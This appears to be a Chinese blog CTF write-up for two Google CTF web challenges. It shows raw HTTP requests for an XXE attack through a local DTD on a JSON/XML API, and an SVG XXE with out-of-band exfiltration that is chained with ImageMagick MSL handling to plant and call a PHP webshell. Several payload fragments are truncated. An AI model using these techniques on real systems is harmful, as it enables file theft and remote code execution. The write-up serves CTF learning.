一篇更新的推文
0x01 BNV题目描述:
There is not much to see in this enterprise-ready™ web application.
题目地址:
https://bnv.web.ctfcompetition.com题目解答:
burp抓包发现传输json数据
POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/json
Content-Length: 38
Connection: close
{"message":"135601360123502401401250"}
联想到json转换为xxe进行文件读取,首先为了验证猜想直接修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误,确认了猜想。
手动把json转换为xxe格式,发现报错说缺少DTD
想到之前看到的一个点,《使用本地DTD文件来利用XXE漏洞实现任意结果输出》,所以构造如下paylaod对flag进行读取。
POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/xml
Content-Length: 374
Connection: close
%eval;
%error;
'>
%local_dtd;
]>
最后分享一个XXE cheat sheet 0x03 gphotos
题目描述:
Upload your photoz. FYI: /info.php
题目链接:
http://gphotos.ctfcompetition.com:1337/
题目解析:
首先右键源码看源码就额可以看到这个上传功能对应的后端PHP代码
http://gphotos.ctfcompetition.com:1337/?action=src
通过阅读代码可以发现以下几点:
mime_content_type
来检测文件的MIME类型并且限制了只能是image/gif
,image/png
,image/jpeg
,image/svg+xml
这四种类型。之后使用
get_size
函数,这个函数对image/png
,image/jpeg
,会检测大小,如果是其它类型就当做xml文件来处理。在之后就是利用
thumbnail
函数来得到缩略图,这其中就使用了ImageMagick的 convert命令。上传文件会被移动到upload目录下,并且后缀是根据对应的MIME类型进行拼接的,文件名是md5之后的hash值,而且图片是经过转换之后的缩略图,所以在图片里面藏shell代码基本不可能的了。
但是目标可以处理svg图,那么就明显是要使用XXE漏洞来达到攻击的目的了。 XXE只是帮助我获取ImageMagick的配置文件,这里有一个小trick,就是在带外传输数据的时候如何传输过长的数据。
上传如下svg图
%remote;%template;
]>&res;
ev.xml文件的内容如下
但是此时的ev.xml对于直接传输一个文件而言还是不好用,所以借助php的伪协议来助攻一下。总之就是压缩之后进行base64
之后的paylaod还是借助ImageMagick在处理特殊的msl文件时会执行其中的命令来触发(这个特性好像只在debain上存在),具体的攻击流程如下:
首先使用如下命令生成包含webshell的png,上传之后主页会返回路径和文件名
convert -size 100x100 -comment '' rgba:/dev/urandom[0] shell.png
返回内容
/var/www/html/upload//.png
PS: 注意使用bash不要用zsh
之后上传我们的svg图
返回内容
/var/www/html/upload//.svg
最后再上传如下的svg来将上一个svg内容进行执行
最后执行在webroot目录下的webshell即可
http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system('/get_flag')
这里学到的几个点:
XXE带外传输大文件的方法
Debians+不安全的ImageMagick配置将会导致href标签的伪协议读文件或者是配合msl文件执行命令like
网站的关键源码
gPhotoz
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录